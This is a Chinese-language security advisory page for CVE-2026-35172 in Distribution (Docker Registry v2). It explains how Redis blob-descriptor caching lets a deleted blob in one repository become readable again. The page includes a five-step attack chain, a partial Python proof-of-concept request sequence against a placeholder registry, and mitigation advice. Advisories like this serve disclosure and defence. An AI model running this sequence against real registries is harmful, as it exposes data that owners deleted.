IPBUF安全漏洞报告
English
CVE-2026-35172 CVSS 7.5 高危

CVE-2026-35172 Distribution信息泄露漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35172
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Distribution (Docker Registry v2)

相关标签

信息泄露DistributionDocker Registry缓存机制访问控制

漏洞概述

Distribution是用于打包、存储和交付容器内容的工具包。在3.1.0版本之前,当同时启用`storage.cache.blobdescriptor: redis`和`storage.delete.enabled: true`时,存在访问控制失效漏洞。攻击者可利用该漏洞,在仓库A显式删除Blob后,通过访问仓库B中相同摘要的Blob,触发Redis缓存重新填充共享描述符,从而使仓库A中已删除的Blob恢复可读状态,导致敏感信息泄露。

技术细节

该漏洞的核心在于Redis缓存层与存储层之间的数据同步逻辑存在缺陷。当启用Redis缓存并执行删除操作时,Distribution仅清除了共享的Blob摘要描述符,却未彻底清除仓库A与该Blob之间的成员资格缓存。当后续有请求(如Stat或Get)针对仓库B中相同Digest的Blob时,系统检测到Blob物理存在,便会更新Redis缓存。此时,由于旧的成员资格数据未失效,缓存更新机制错误地重建了仓库A对该Blob的访问链接。这种逻辑漏洞破坏了删除操作的原子性,使得已删除的数据可通过特定操作序列被重新访问。

攻击链分析

STEP 1
步骤1:数据上传
攻击者向仓库A上传一个包含敏感信息的Blob对象。
STEP 2
步骤2:执行删除
攻击者调用API删除仓库A中的该Blob。此时系统清除共享描述符,但Redis中残留了仓库A的成员资格信息。
STEP 3
步骤3:触发缓存
攻击者(或普通用户)在仓库B中访问(Stat或Get)具有相同Digest的Blob。
STEP 4
步骤4:缓存回填
Redis缓存逻辑被触发,重新建立该Blob的共享描述符,并错误关联到之前残留的仓库A成员资格上。
STEP 5
步骤5:信息泄露
攻击者再次访问仓库A中本应被删除的Blob,成功读取到数据,实现信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept Concept for CVE-2026-35172 # Prerequisites: Distribution < 3.1.0, Redis cache enabled, delete enabled. import requests REGISTRY_URL = "http://target-registry:5000" HEADERS = {"Authorization": "Bearer <token>"} BLOB_DIGEST = "sha256:abc123..." # 1. Upload a blob to Repo A print("[+] Step 1: Uploading blob to Repo A") # ... upload logic ... # 2. Delete the blob from Repo A print("[+] Step 2: Deleting blob from Repo A") del_url = f"{REGISTRY_URL}/v2/repo-a/blobs/{BLOB_DIGEST}" r = requests.delete(del_url, headers=HEADERS) print(f"Delete status: {r.status_code}") # 3. Access the same blob from Repo B (Stat or Get) # This triggers Redis cache repopulation print("[+] Step 3: Accessing blob from Repo B to trigger cache repopulation") stat_url_b = f"{REGISTRY_URL}/v2/repo-b/blobs/{BLOB_DIGEST}" r = requests.head(stat_url_b, headers=HEADERS) print(f"Stat Repo B status: {r.status_code}") # 4. Try to read the blob from Repo A again # Exploit: The blob should be readable again in Repo A print("[+] Step 4: Verifying blob access in Repo A") get_url_a = f"{REGISTRY_URL}/v2/repo-a/blobs/{BLOB_DIGEST}" r = requests.get(get_url_a, headers=HEADERS) if r.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Deleted blob is readable in Repo A") else: print("[-] Failed to reproduce")

影响范围

Distribution < 3.1.0

防御指南

临时缓解措施
建议立即检查配置文件,如果同时启用了`storage.cache.blobdescriptor: redis`和`storage.delete.enabled: true`,请暂时关闭其中一项功能以缓解风险,直至完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表